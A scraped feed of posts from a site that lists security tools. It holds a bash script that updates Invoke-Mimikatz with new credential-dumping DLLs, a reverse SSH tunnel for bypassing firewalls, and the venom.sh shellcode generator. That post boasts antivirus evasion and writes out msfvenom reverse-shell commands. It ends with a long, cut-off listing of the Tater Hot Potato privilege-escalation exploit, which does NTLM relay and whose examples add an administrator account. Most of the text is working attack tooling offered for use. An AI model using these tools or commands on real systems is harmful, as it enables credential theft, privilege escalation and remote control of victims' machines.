Quantcast
Channel: Code Scripting – Security List Network™
Viewing all 398 articles
Browse latest View live

Bash script for update Mimikatz and to take the powerkatz.dll files.

$
0
0

Bash script to take the powerkatz.dll files, encode them using base64 and then replace the old binaries with the new in the Invoke-Mimikatz.ps1 powershell file.

update-mimikatz

update-mimikatz

Usage:
./Update_Mimikatz.sh [arg]
– ps1 > Invoke-Mimikatz.ps1
– x64 > powerkatz_x64.dll
– x32 > powerkatz_x32.dll

Download:

git clone https://github.com/Graph-X/Update_Mimikatz && cd Update_Miikatz
chmod +x Update_Mimikatz.sh
./Update_Mimikatz.sh

Update_Mimikatz Script:

#!/bin/bash
#
# Update Mimikatz
# Created 1-12-16 by @GraphX
# Last Updated: 1-21-2016
# Description:
#	The script will take your 32 bit and 64 bit 
#	Powerkatz dll files, encode them to b64 and
#	update the Invoke-Mimikatz.ps1 file
###################################################
set -e
ESC_SEQ="\033["
COL_RESET=$ESC_SEQ"0m"
COL_RED=$ESC_SEQ"31;01m"
COL_GREEN=$ESC_SEQ"32;01m"
COL_BLUE=$ESC_SEQ"34;01m"
COL_MAGENTA=$ESC_SEQ"35;01m"
#Attempt to backup the powershell script in the event that I break it
backup() {

#Get just the filename and not the extension
FILENAME=`echo $MKATZ_FILE`.bak
#does the powershell script exist and have we already made a backup?
if [[ -e $MKATZ_FILE && ! -e $FILENAME ]]; then

#make a backup since we haven't already
        cp $MKATZ_FILE $FILENAME 
	echo -e "[*] Backing up file saved to $FILENAME" 
	return 0
fi
#No powershell no washey  Either typo or can't follow directions
if [[ ! -e $MKATZ_FILE ]]; then
        echo -e "$COL_RED[-] Could not find powershell script. please make sure it's correct in the command line.$COL_RESET"
        return 1
fi
#Do we already have a backup?
if [[ -e $FILENAME ]]; then
	#We don't make another backup because of the potential to overwrite a good backup with garbage
        echo -e "[*] Looks like a backup has already been made. moving on"
		return 0
fi
}


#This is the meat and potatoes of the script
update() {
#Here we grab just the base64 strings and line number in an array from the ps1 for each arch
#This part was a pain in the ass to write so I hope this is appreciated.
#lessons learned while slaving away on this:
#The base64 strings are too large to be handled with sed as a normal variable.
#What I had to do was stream the file contents and then redirect the stdout to an awk session using heredoc. 

#Trust but verify.  Do we have the correct files?
if [[ -e $MKATZ_FILE ]]; then
	if  [ $(grep -c 'PEBytes64 = \"' $MKATZ_FILE) -ne 0 ]; then
		#Looks like a valid invoke PE script. Fuck it, let's fly!
		
		#Were we given valid DLLs? Use file mime-type for best guess
		if  [[ $(file --mime-type $PKATZ64 | rev | cut -d ' ' -f 1 | rev) == application/x-dosexec  &&  $(file --mime-type $PKATZ32 | rev | cut -d ' ' -f 1 | rev) == application/x-dosexec ]]; then
			#both the dll files match their expected mime types.  We can proceed
			echo -e "$COL_GREEN[+] $PKATZ64 and $PKATZ32 appear to be the proper file type.$COL_RESET"
		else
			echo -e "$COL_RED[-] Unable to process given files. Please check spelling and proper file type and try again.$COL_RESET"; exit 1 
		fi
	else
		echo -e "$COL_RED[-] Unable to validate $MKATZ_FILE as a proper PE reflection script. Please try again.$COL_RESET"; exit 1
	fi
else
	echo -e "$COL_RED[-] Unable to find $MKATZ_FILE. Please verify the location and try again $COL_RESET"; exit 1
fi	
		
		

#
#We use two for loops to run through both ARCHs here
#THIS IS WHERE THE NEW INFORMATION GETS POPULATED FROM THE DLLS AND ADDED TO THE POWERSHELL FILE
#


#The if statement could likely be shortened, but for right now it works as is.
for a in $(seq 0 1); do
	if [ $a == 0 ]; then
		echo -e "[*] Updating the 64 bit library"
		ARCH=""
		ARCH="64"
		PKATZ="$PKATZ64"
		LINE[$a]=`grep -n "PEBytes64 = \"" $MKATZ_FILE | cut -d ':' -f 1`
		OLDKATZ[$a]=`grep "PEBytes64 = \"" $MKATZ_FILE | cut -d ':' -f 1 | tr -d '"'`
	else
		echo -e "[*] Updating the 32 bit library"
		PKATZ="$PKATZ32"
		ARCH=""
		ARCH="32"
		OLDKATZ[$a]=`grep "PEBytes32 = \"" $MKATZ_FILE | cut -d ':' -f 1 | tr -d '"'`
		LINE[$a]=`grep -n "PEBytes32 = \"" $MKATZ_FILE | cut -d ':' -f -1`
	fi
############################################################################
#
#This section is where the base64 strings created from the DLL files are added to the powershell
#the OUTPUT variable holds the base64 encoding the 64bit payload and then 32.
#md5sums are created to ensure consistency and verifiable source. This feature will be 
#added in the future.  Right now it's good for error checking though.
#
#As it just so happens, we cannot just stuff the new file in to the powershell script. The base64 string
#is waaaaay too long.  Therefore we will read 1024 charcters at a time.
#######################################################################################################
		
	#OUTPUT will be the stream variable that we pipe back to the while loop
	OUTPUT=`base64 -w 0 $PKATZ`
	
	#get md5sum for error checking
	NEWMD5=`md5sum <<< $OUTPUT`
	NEWMD5=`echo $NEWMD5 | cut -d ' ' -f 1`
	
	#Token to mark beginning of the file 
	w=0;

	#while loop to stream $OUTPUT from the base64 conversion of the powerkatz.dll file
	#Awk sucks but I couldn't stream the string through sed because it exceeds the kernel's ARG_MAX value
	while read -r -n 1024 char; do
		if [[ $w == 0 ]]; then
			w=1
			awk -i inplace 'BEGIN{FS=OFS="\""} {if (NR == "'${LINE[$a]}'")  {$2="'$char'"} print $0;}' $MKATZ_FILE
		else
			awk -i inplace 'BEGIN{FS=OFS="\""} {if (NR == "'${LINE[$a]}'") {$2=$2"'$char'"} print $0;}' $MKATZ_FILE
		fi	
		done <<< $OUTPUT

	#grab the base64 string from the mimikatz file.  It should be different now.
	NEWHASH=`grep "PEBytes$ARCH = \"" $MKATZ_FILE | cut -d '"' -f 2 | tr -d '"'`
	#Get the md5sum of base64 string now in the powershell
	NEWSUM=`md5sum <<< $NEWHASH`
	NEWSUM=`echo $NEWSUM | cut -d ' ' -f 1`
	#md5sum checking 
	echo -e "[*] MD5 of the base64 string for x$ARCH in the $MKATZ_FILE is $NEWSUM"
	echo -e "[*] The new md5 of base64 string from the powerkatz dll is $NEWMD5"
	if [[ $NEWSUM !=  $NEWMD5 ]]; then 
		echo -e  "$COL_RED[-]***MD5sums Do NOT Match***$COL_RESET" | read -p " "
		#echo "NEWSUM content length is ${#NEWSUM}" > ./error
		#echo "NEWMD5 content length is ${#NEWMD5}" >> ./error 
		echo -e "$COL_RED[-] Something went wrong with the upgrade\n$COL_RESET"
		cp $FILENAME $MKATZ_FILE 
		x=1 #shit's not right.  These sums should match
	else
		echo -e "$COL_GREEN[+] Library for "$ARCH"bit Mimikatz passed MD5 check$COL_RESET"
	fi

done
if [ $x == 0 ]; then 
	return 0 
else
	return 1
fi	
}

#just making things pretty
#usage menu:
show_parms() {
		echo -e "\n\n$COL_BLUE\tRTFM for Update-Mimimkatz.sh$COL_RESET\n"
		printf "\t Usage: $0 [args] \n\n"
		printf "\t-ps1  > Invoke-Mimikatz.ps1 file\n"
		printf "\t-x64  > powerkatz_x64.dll file\n"
		printf "\t-x32  > powerkatz_32bit.dll file \n"
		printf "Command example:\n"
		printf "#$0 -ps1 ./Invoke-Mimikatz.ps1 -x64 ./powerkatz_x64.dll -x32 ./powerkatz_x32.dll\n\n\n"
}

##########################################
#main subroutine
x=0
#If we don't have everything submitted, then RTFM
if [ $# -lt 6 ]
then
	show_parms
        exit
fi

VARS=`echo "$*" | sed 's/ [^ ]*$//'`
while [ $# -gt 1 ] ; do
        
	case $1 in
	-ps1|--ps1)
		#move to the next in line
		shift
		MKATZ_FILE="$1"
		;;
	-x64|--x64)
		#move to next in line
		shift
		PKATZ64="$1"
		;;
	-x32|--x32)
		#move to next in line
		shift
		PKATZ32="$1"
		;;
	*)
		show_parms
		exit 1
		;;
	esac
	shift
done

if backup = 0; then
	echo -e  "$COL_GREEN[+] Proceeding with the update...$COL_RESET"
	if update = 0; then
		echo -e "$COL_BLUE[!] Script completed successfully.  Happy Hacking!$COL_RESET"
		exit 0
	else
		show_parms
		echo -e "$COL_RED[-]Something went wrong with the update. Try again later.$COL_RESET"
		exit 1
	fi
else 	
	show_parms
	echo -e "$COL_RED[-]Unable to backup the script.  Cannot continue until we have a backup.$COL_RESET"
	exit 1
fi
echo -e "$COL_RED[!!]There's no way we should be here.  You must be a wizard Harry!$COL_RESET"
exit 1337

Source : https://github.com/Graph-X


python scripts that creates an outgoing-incoming ssh tunnel that can bypass some firewalls.

$
0
0

python scripts that creates an outgoing-incoming ssh tunnel that can bypass some firewalls.
Sometimes you want to access a system that is behind a firewall or NAT and you can’t open a port on them. With this kind of tunnel you can make it “call home” and wait for your connection on your local computer or somewhere else.

autossh

autossh

This is what you get:

+----------------+          +-----+   +---------------+          +-------------+
|                |          |     |   |               |          |             |
|                >------------------------------------------------>            |
|        <-----------------------------------------------------------+         |
|                >------------------------------------------------>  |  SSH    |
|  Remote site   |          |     |   |               |          |   |  Server |
|                |          |  F  |   |            +-----------------+         |
|                |          |  i  |   |            |  |          |             |
|                |          |  r  |   |  Internet  |  |          +-------------+
+----------------+          |  e  |   |            |  |
                            |  w  |   |            |  |
                            |  a  |   |            |  |          +--------------+
                            |  l  |   |            |  |          |              |
                            |  l  |   |            +-----------------< You      |
                            |     |   |               |          |              |
                            +-----+   +---------------+          +--------------+

You access a remote site bypassing a firewall with the help of a SSH server. You can see the tunnel going out from the remote site to the SSH server and how your connection can get there through it. From the firewall point of view there is just an output SSH connection. Most firewalls will allow it. The firewall can’t see there is an incomming connection hidden inside it.

Usage:

git clone https://github.com/aalku/ssh-tunnel && cd ssh-tunnel
python autossh.py -h (for print helper)

python autossh.py -tp 22 -sh -lp -su -sq "$@" >> /var/log/autossh.log 2>&1 &

Source : https://github.com/aalku/

Venom.sh Codename: Komodo Venom v1.0.10.

$
0
0

Changelog Codename: Komodo Venom v1.0.10 :
FUNCTION   |   DESCRIPTION
——-                —————————————————————————
bug fix         ->  ‘getsystem’ bug fixed in all resource files (.rc)
improved    ->  terminal displays review/improved/fixed.
improved    ->  ‘elementary OS’ ip address support added (LHOST).
improved    ->  ‘@echo off’ added to all .bat files to hidde displays in terminal windows
added          ->  ‘apache2’ added to deliver your payloads using a malicious URL..
added          ->  ‘gather.rc’ post-exploitation resource file (gather target info)
added          ->   ‘SimpleHTTPServerWithupload.py’ a simplehttpserver with
download/upload capabilittys if you need it (manual run)
——-        |       —————————————————————————

Komodo Venom v1.0.10

Komodo Venom v1.0.10

The script will use msfvenom (metasploit) to generate shellcode in diferent formats ( c | python | ruby | dll | msi | hta-psh ), injects the shellcode generated into one funtion (example: python) “the python funtion will execute the shellcode in ram” and uses compilers like: gcc (gnu cross compiler) or mingw32 or pyinstaller to build the executable file, also starts a multi-handler to recibe the remote connection (reverse shell or meterpreter session).

‘shellcode generator’ tool reproduces some of the technics used by Veil-Evasion framework, unicorn.py, powersploit, etc,etc,etc..”P.S. some payloads are undetectable by AV soluctions yes!!!” one of the reazons for that its the use of a funtion to execute the 2º stage of shell/meterpreter directly into targets ram.

DEPENDENCIES :
— “crisp.sh will download/install all dependencies as they are needed”
— Zenity | Metasploit | GCC (compiler) | Pyinstaller (python-to-exe module)
— python-pip (pyinstaller downloader) | mingw32 (compile .EXE executables)
— pyherion.py (crypter) | PEScrambler.exe (PE obfuscator/scrambler.)

Features
option – build – target – format – output

1 – shellcode – unix – C – C
2 – shellcode – windows – C – DLL
3 – shellcode – windows – DLL – DLL
4 – shellcode – windows – C – PYTHON/EXE
5 – shellcode – windows – C – EXE
6 – shellcode – windows – MSIEXEC – MSI
7 – shellcode – windows – C – RUBY
8 – shellcode – windows – HTA-PSH – HTA
9 – shellcode – windows – PSH-CMD – PS1
10 – shellcode – windows – PSH-CMD – BAT
11 – shellcode – webserver – PHP – PHP
12 – shellcode – multi OS – PYTHON(b64) – PYTHON

F – FAQ (frequent ask questions)
E – exit shellcode generator

Usage:

git clone git://git.code.sf.net/p/crisp-shellcode-generator/shell crisp-shellcode-generator-shell
cd crisp-shellcode-generator-shell
./venom.sh

Updates:
cd cd crisp-shellcode-generator-shell
git pull

[ HOW DOES MSFVENOM ACTUALLY BUILDS SHELLCODE? ]
The default way to generate a windows binarie payload (.exe) using msfvenom its achieved through -f flag (Output format)
msfvenom -p payload-name LHOST=127.0.0.1 LPORT=666 -f exe -o payload.exe

But msfvenom allow us to build shellcode in diferent formats
like: asp, aspx, aspx-exe, dll, elf, exe, exe-small, hta-psh
macho, osx-app, psh, vba, vba-exe, vba-psh, vbs, bash, c
java, perl, powershell, python, ruby, sh, vbscript.
The complete list can be accessed using the follow command: sudo msfvenom --help-formats

now lets generate a simple shellcode to windows/shell/reverse_tcp
chosing powershell as output format "note that we will not use
the flag -o (Save the payload) option, this way the shellcode
generated will only displays in current terminal windows".
Using powershell as output format:
msfvenom -p windows/shell/reverse_tcp LHOST=127.0.0.1 LPORT=666 -f powershell

Using java as output format:
msfvenom -p windows/shell/reverse_tcp LHOST=127.0.0.1 LPORT=666 -f java

Using hex as output format:
msfvenom -p windows/shell/reverse_tcp LHOST=127.0.0.1 LPORT=666 -f hex

our post before |
Source :http://sourceforge.net/p/crisp-shellcode-generator/

Tater is a PowerShell implementation of the Hot Potato Windows Privilege Escalation exploit.

$
0
0

Tater is a PowerShell implementation of the Hot Potato Windows Privilege Escalation exploit. Tater is mainly pieced together from existing Inveigh code.

Notes
Use caution, this is still very much in a proof of concept stage. It’s only been tested on Windows 7. It’s also missing some of the advanced features found in Potato.
The most likely thing to go wrong is that the HTTP listener will not release the port 80 binding on exit. If this happens, closing out your PowerShell process will remove the binding.

Example usage Tater.ps1

Example usage Tater.ps1

Example usage :

Invoke-Tater -Command "net user tater Winter2016 /add && net localgroup administrators tater /add"
Invoke-Tater -Command "net user tater Winter2016 /add && net localgroup administrators tater /add" –RunTime 10

Tater.ps1 Script:

Function Invoke-Tater
{
<#
.SYNOPSIS
Invoke-Tater is a PowerShell implementation of the Hot Potato Windows Privilege Escalation exploit from @breenmachine and @foxglovesec.
.DESCRIPTION
Invoke-Tater is a PowerShell implementation of the Hot Potato Windows Privilege Escalation exploit from @breenmachine and @foxglovesec. It has functionality similiar to Potato.exe available at https://github.com/foxglovesec/Potato.
.PARAMETER IP
Specify a specific local IP address.
.PARAMETER Command
Command to execute as SYSTEM on the localhost.
.PARAMETER NBNS
Default = Enabled: (Y/N) Enable/Disable NBNS bruteforce spoofing. If disabled, another method of spoofing will need to be employed such as an LLMNR/NBNS spoofer running on another system and pointing to 127.0.0.1. 
.PARAMETER ExhaustUDP
Default = Disabled: Enable/Disable UDP port exhaustion to force all DNS lookups to fail in order to fallback to NBNS resolution.
.PARAMETER HTTPPort
Default = 80: Specify a TCP port for HTTP listener. 
.PARAMETER Hostname
Default = WPAD: Hostname to spoof. "WPAD.DOMAIN.TLD" is required by Windows Server 2008.
.PARAMETER WPADDirectHosts
Comma separated list of hosts to list as direct in the wpad.dat file. Note that 'localhost' is always listed as direct.
.PARAMETER Trigger
Default = 1: Trigger type to use in order to trigger HTTP to SMB relay. 0 = None, 1 = Windows Defender Signature Update, 2 = Windows 10 Webclient/Scheduled Task
.PARAMETER Taskname
Default = omg: Scheduled task name to use with trigger 2.
.PARAMETER RunTime
(Integer) Set the run time duration in minutes.
.PARAMETER ConsoleOutput
Default = Disabled: (Y/N) Enable/Disable real time console output. If using this option through a shell, test to ensure that it doesn't hang the shell.
.PARAMETER FileOutput
Default = Disabled: (Y/N) Enable/Disable real time file output.
.PARAMETER StatusOutput
Default = Enabled: (Y/N) Enable/Disable startup and shutdown messages.
.PARAMETER ShowHelp
Default = Enabled: (Y/N) Enable/Disable the help messages at startup.
.PARAMETER Tool
Default = 0: (0,1,2) Enable/Disable features for better operation through external tools such as Metasploit's Interactive Powershell Sessions and Empire. 0 = None, 1 = Metasploit, 2 = Empire  
.EXAMPLE
Invoke-Tater -SMBRelayCommand "net user Dave Winter2016 /add && net localgroup administrators Dave /add"
.LINK
https://github.com/Kevin-Robertson/Tater
#>

# Default parameter values can be modified in this section 
param
( 
    [parameter(Mandatory=$false)][ValidateSet("Y","N")][string]$NBNS="Y",
    [parameter(Mandatory=$false)][ValidateSet("Y","N")][string]$ExhaustUDP="N",
    [parameter(Mandatory=$false)][ValidateSet("Y","N")][string]$ConsoleOutput="Y",
    [parameter(Mandatory=$false)][ValidateSet("Y","N")][string]$StatusOutput="Y",
    [parameter(Mandatory=$false)][ValidateSet("Y","N")][string]$ShowHelp="Y",
    [parameter(Mandatory=$false)][ValidateSet("0","1","2")][string]$Tool="0",
    [parameter(Mandatory=$false)][ValidateScript({$_ -match [IPAddress]$_ })][string]$IP="",
    [parameter(Mandatory=$false)][int]$HTTPPort="80",
    [parameter(Mandatory=$false)][int]$RunTime="",
    [parameter(Mandatory=$false)][ValidateSet(0,1,2)][int]$Trigger="1",
    [parameter(Mandatory=$true)][string]$Command = "",
    [parameter(Mandatory=$false)][string]$Hostname = "WPAD",  
    [parameter(Mandatory=$false)][string]$Taskname = "omg",
    [parameter(Mandatory=$false)][array]$WPADDirectHosts,
    [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter
)

if ($invalid_parameter)
{
    throw "$($invalid_parameter) is not a valid parameter."
}

if(!$IP)
{ 
    $IP = (Test-Connection 127.0.0.1 -count 1 | select -ExpandProperty Ipv4Address)
}

if(!$Command)
{
    Throw "You must specify an -Command if enabling -SMBRelay"
}

if(!$tater)
{
    $global:tater = [hashtable]::Synchronized(@{})
}

if($tater.running)
{
    Throw "Invoke-Tater is already running, use Stop-Tater"
}

$tater.console_queue = New-Object System.Collections.ArrayList
$tater.status_queue = New-Object System.Collections.ArrayList
$tater.console_output = $true
$tater.console_input = $true
$tater.running = $true
$tater.exhaust_UDP_running = $false
$tater.SMB_relay_active_step = 0
$tater.SMB_relay = $true
$tater.trigger = $Trigger

if($StatusOutput -eq 'y')
{
    $tater.status_output = $true
}
else
{
    $tater.status_output = $false
}

if($Tool -eq 1) # Metasploit Interactive Powershell
{
    $tater.tool = 1
    $tater.newline = ""
    $ConsoleOutput = "N"
}
elseif($Tool -eq 2) # PowerShell Empire
{
    $tater.tool = 2
    $tater.console_input = $false
    $tater.newline = "`n"
    $ConsoleOutput = "Y"
    $ShowHelp = "N"
}
else
{
    $tater.tool = 0
    $tater.newline = ""
}

if($Trigger -eq 2)
{
    $NBNS = 'N'
}

# Write startup messages
$tater.status_queue.add("$(Get-Date -format 's') - Tater (Hot Potato Privilege Escalation) started")|Out-Null
$tater.status_queue.add("Local IP Address = $IP") |Out-Null

if($HTTPPort -ne 80)
{
    $tater.status_queue.add("HTTP Port = $HTTPPort")|Out-Null
}

if($NBNS -eq 'y')
{
    $tater.status_queue.add("Spoofing Hostname = $Hostname")|Out-Null
}
else
{
    $tater.status_queue.add("NBNS Bruteforce Spoofing Disabled")|Out-Null
}

if($WPADDirectHosts.Count -gt 0)
{
    $tater.status_queue.add("WPAD Direct Hosts = " + $WPADDirectHosts -join ",")|Out-Null
}

if($ExhaustUDP -eq 'y')
{
    $tater.status_queue.add("UDP Port Exhaustion Enabled")|Out-Null
}

if($Trigger -eq 0)
{
    $tater.status_queue.add("Relay Trigger Disabled")|Out-Null
}
elseif($Trigger -eq 1)
{
    $tater.status_queue.add("Windows Defender Trigger Enabled")|Out-Null
}
elseif($Trigger -eq 2)
{
    $tater.status_queue.add("Scheduled Task Trigger Enabled")|Out-Null
    $tater.status_queue.add("Scheduled Task = $Taskname")|Out-Null
    $tater.taskname = $Taskname
}

if($ConsoleOutput -eq 'y')
{
    $tater.status_queue.add("Real Time Console Output Enabled")|Out-Null
    $tater.console_output = $true
}
else
{
    if($tater.tool -eq 1)
    {
        $tater.status_queue.add("Real Time Console Output Disabled Due To External Tool Selection")|Out-Null
    }
    else
    {
        $tater.status_queue.add("Real Time Console Output Disabled")|Out-Null
    }
}

if($RunTime -eq '1')
{
    $tater.status_queue.add("Run Time = $RunTime Minute")|Out-Null
}
elseif($RunTime -gt 1)
{
    $tater.status_queue.add("Run Time = $RunTime Minutes")|Out-Null
}

if($ShowHelp -eq 'y')
{
    $tater.status_queue.add("Run Stop-Tater to stop Tater early")|Out-Null
        
    if($tater.console_output)
    {
        $tater.status_queue.add("Use Get-Command -Noun Tater* to show available functions")|Out-Null
        $tater.status_queue.add("Press any key to stop real time console output")|Out-Null
        $tater.status_queue.add("")|Out-Null
    }
}

if($tater.status_output)
{
    while($tater.status_queue.Count -gt 0)
    {
        write-output($tater.status_queue[0] + $tater.newline)
        $tater.status_queue.RemoveRange(0,1)
    }
}

$process_ID = [System.Diagnostics.Process]::GetCurrentProcess() |select -expand id
$process_ID = [BitConverter]::ToString([BitConverter]::GetBytes($process_ID))
$process_ID = $process_ID -replace "-00-00",""
[Byte[]]$tater.process_ID_bytes = $process_ID.Split("-") | FOREACH{[CHAR][CONVERT]::toint16($_,16)}

# Begin ScriptBlocks

# Shared Basic Functions ScriptBlock
$shared_basic_functions_scriptblock =
{
    Function DataToUInt16($field)
    {
	   [Array]::Reverse($field)
	   return [BitConverter]::ToUInt16($field,0)
    }

    Function DataToUInt32($field)
    {
	   [Array]::Reverse($field)
	   return [BitConverter]::ToUInt32($field,0)
    }

    Function DataLength
    {
        param ([int]$length_start,[byte[]]$string_extract_data)

        $string_length = [System.BitConverter]::ToInt16($string_extract_data[$length_start..($length_start + 1)],0)
        return $string_length
    }

    Function DataToString
    {
        param ([int]$string_length,[int]$string2_length,[int]$string3_length,[int]$string_start,[byte[]]$string_extract_data)

        $string_data = [System.BitConverter]::ToString($string_extract_data[($string_start+$string2_length+$string3_length)..($string_start+$string_length+$string2_length+$string3_length-1)])
        $string_data = $string_data -replace "-00",""
        $string_data = $string_data.Split("-") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)}
        $string_extract = New-Object System.String ($string_data,0,$string_data.Length)
        return $string_extract
    }

    Function DnsFlushResolverCache
    {
        $DNS_member_definition = @'
            [DllImport("dnsapi.dll", EntryPoint="DnsFlushResolverCache")]
            private static extern UInt32 DnsFlushResolverCache();
            public static void FlushResolverCache()
            {
                UInt32 result = DnsFlushResolverCache();
            }
'@

        Add-Type -MemberDefinition $DNS_member_definition -Namespace DNSAPI -Name Flush -UsingNamespace System.Collections,System.ComponentModel
        [DNSAPI.Flush]::FlushResolverCache()
    }

    Function HTTPListenerStop
    {
        $tater.console_queue.add("$(Get-Date -format 's') - Attempting to stop HTTP listener")
        $tater.HTTP_client.Close()
        start-sleep -s 1
        $tater.HTTP_listener.server.blocking = $false
        Start-Sleep -s 1
        $tater.HTTP_listener.server.Close()
        Start-Sleep -s 1
        $tater.HTTP_listener.Stop()
        $tater.running = $false
        break HTTP_listener_loop
    }
}

# SMB NTLM Functions ScriptBlock - function for parsing NTLM challenge/response
$SMB_NTLM_functions_scriptblock =
{
    Function SMBNTLMChallenge
    {
        param ([byte[]]$payload_bytes)

        $payload = [System.BitConverter]::ToString($payload_bytes)
        $payload = $payload -replace "-",""
        $NTLM_index = $payload.IndexOf("4E544C4D53535000")

        if($payload.SubString(($NTLM_index + 16),8) -eq "02000000")
        {
            $NTLM_challenge = $payload.SubString(($NTLM_index + 48),16)
        }

        return $NTLM_challenge
    }
}

# SMB Relay Challenge ScriptBlock - gathers NTLM server challenge from relay target
$SMB_relay_challenge_scriptblock =
{
    Function SMBRelayChallenge
    {
        param ($SMB_relay_socket,$HTTP_request_bytes)

        if ($SMB_relay_socket)
        {
            $SMB_relay_challenge_stream = $SMB_relay_socket.GetStream()
        }
        
        $SMB_relay_challenge_bytes = New-Object System.Byte[] 1024

        $i = 0
        
        :SMB_relay_challenge_loop while ($i -lt 2)
        {
            switch ($i)
            {
                0 {
                    [Byte[]] $SMB_relay_challenge_send = (0x00,0x00,0x00,0x2f,0xff,0x53,0x4d,0x42,0x72,0x00,0x00,0x00,0x00,0x18,0x01,0x48)`
                        + (0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xff,0xff)`
                        + $tater.process_ID_bytes`
                        + (0x00,0x00,0x00,0x00,0x00,0x0c,0x00,0x02,0x4e,0x54,0x20,0x4c,0x4d,0x20,0x30,0x2e,0x31,0x32,0x00)
                }
                
                1 { 
                    $SMB_length_1 = '0x{0:X2}' -f ($HTTP_request_bytes.length + 32)
                    $SMB_length_2 = '0x{0:X2}' -f ($HTTP_request_bytes.length + 22)
                    $SMB_length_3 = '0x{0:X2}' -f ($HTTP_request_bytes.length + 2)
                    $SMB_NTLMSSP_length = '0x{0:X2}' -f ($HTTP_request_bytes.length)
                    $SMB_blob_length = [BitConverter]::ToString([BitConverter]::GetBytes($HTTP_request_bytes.length))
                    $SMB_blob_length = $SMB_blob_length -replace "-00-00",""
                    $SMB_blob_length = $SMB_blob_length.Split("-") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)}
                    $SMB_byte_count = [BitConverter]::ToString([BitConverter]::GetBytes($HTTP_request_bytes.length + 28))
                    $SMB_byte_count = $SMB_byte_count -replace "-00-00",""
                    $SMB_byte_count = $SMB_byte_count.Split("-") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)}
                    $SMB_netbios_length = [BitConverter]::ToString([BitConverter]::GetBytes($HTTP_request_bytes.length + 87))
                    $SMB_netbios_length = $SMB_netbios_length -replace "-00-00",""
                    $SMB_netbios_length = $SMB_netbios_length.Split("-") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)}
                    [array]::Reverse($SMB_netbios_length)
                    
                    [Byte[]] $SMB_relay_challenge_send = (0x00,0x00)`
                        + $SMB_netbios_length`
                        + (0xff,0x53,0x4d,0x42,0x73,0x00,0x00,0x00,0x00,0x18,0x03,0xc8,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xff,0xff)`
                        + $tater.process_ID_bytes`
                        + (0x00,0x00,0x00,0x00,0x0c,0xff,0x00,0x00,0x00,0xff,0xff,0x02,0x00,0x01,0x00,0x00,0x00,0x00,0x00)`
                        + $SMB_blob_length`
                        + (0x00,0x00,0x00,0x00,0x44,0x00,0x00,0x80)`
                        + $SMB_byte_count`
                        + $HTTP_request_bytes`
                        + (0x57,0x00,0x69,0x00,0x6e,0x00,0x64,0x00,0x6f,0x00,0x77,0x00,0x73,0x00,0x00,0x00)`
                        + (0x6a,0x00,0x43,0x00,0x49,0x00,0x46,0x00,0x53,0x00,0x00,0x00)
                }
            }

            $SMB_relay_challenge_stream.Write($SMB_relay_challenge_send, 0, $SMB_relay_challenge_send.length)
            $SMB_relay_challenge_stream.Flush()
    
            $SMB_relay_challenge_stream.Read($SMB_relay_challenge_bytes, 0, $SMB_relay_challenge_bytes.length)

            $i++
        }
        
        return $SMB_relay_challenge_bytes
    }
}

# SMB Relay Response ScriptBlock - sends NTLM reponse to relay target
$SMB_relay_response_scriptblock =
{
    Function SMBRelayResponse
    {
        param ($SMB_relay_socket,$HTTP_request_bytes,$SMB_user_ID)
    
        $SMB_relay_response_bytes = New-Object System.Byte[] 1024

        if ($SMB_relay_socket)
        {
            $SMB_relay_response_stream = $SMB_relay_socket.GetStream()
        }
        
        $SMB_blob_length = [BitConverter]::ToString([BitConverter]::GetBytes($HTTP_request_bytes.length))
        $SMB_blob_length = $SMB_blob_length -replace "-00-00",""
        $SMB_blob_length = $SMB_blob_length.Split("-") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)}
        $SMB_byte_count = [BitConverter]::ToString([BitConverter]::GetBytes($HTTP_request_bytes.length + 28))
        $SMB_byte_count = $SMB_byte_count -replace "-00-00",""
        $SMB_byte_count = $SMB_byte_count.Split("-") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)}
        $SMB_netbios_length = [BitConverter]::ToString([BitConverter]::GetBytes($HTTP_request_bytes.length + 88))
        $SMB_netbios_length = $SMB_netbios_length -replace "-00-00",""
        $SMB_netbios_length = $SMB_netbios_length.Split("-") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)}
        [array]::Reverse($SMB_netbios_length)
        $j = 0

        :SMB_relay_response_loop while ($j -lt 1)
        {
            [Byte[]] $SMB_relay_response_send = (0x00,0x00)`
                + $SMB_netbios_length`
                + (0xff,0x53,0x4d,0x42,0x73,0x00,0x00,0x00,0x00,0x18,0x03,0xc8,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xff,0xff)`
                + $tater.process_ID_bytes`
                + $SMB_user_ID`
                + (0x00,0x00,0x0c,0xff,0x00,0x00,0x00,0xff,0xff,0x02,0x00,0x01,0x00,0x00,0x00,0x00,0x00)`
                + $SMB_blob_length`
                + (0x00,0x00,0x00,0x00,0x44,0x00,0x00,0x80)`
                + $SMB_byte_count`
                + $HTTP_request_bytes`
                + (0x00,0x57,0x00,0x69,0x00,0x6e,0x00,0x64,0x00,0x6f,0x00,0x77,0x00,0x73,0x00,0x00,0x00)`
                + (0x6a,0x00,0x43,0x00,0x49,0x00,0x46,0x00,0x53,0x00,0x00,0x00)

            $SMB_relay_response_stream.write($SMB_relay_response_send, 0, $SMB_relay_response_send.length)
        	$SMB_relay_response_stream.Flush()

            $SMB_relay_response_stream.Read($SMB_relay_response_bytes, 0, $SMB_relay_response_bytes.length)
            
            $tater.SMB_relay_active_step = 2
            
            $j++
        
        }
        return $SMB_relay_response_bytes
    }
}

# SMB Relay Execute ScriptBlock - executes command within authenticated SMB session
$SMB_relay_execute_scriptblock =
{
    Function SMBRelayExecute
    {
        param ($SMB_relay_socket,$SMB_user_ID)
    
        if ($SMB_relay_socket)
        {
            $SMB_relay_execute_stream = $SMB_relay_socket.GetStream()
        }

        $SMB_relay_failed = $false
        $SMB_relay_execute_bytes = New-Object System.Byte[] 1024
        $SMB_service_random = [String]::Join("00-", (1..20 | % {"{0:X2}-" -f (Get-Random -Minimum 65 -Maximum 90)}))
        $SMB_service = $SMB_service_random -replace "-00",""
        $SMB_service = $SMB_service.Substring(0,$SMB_service.Length-1)
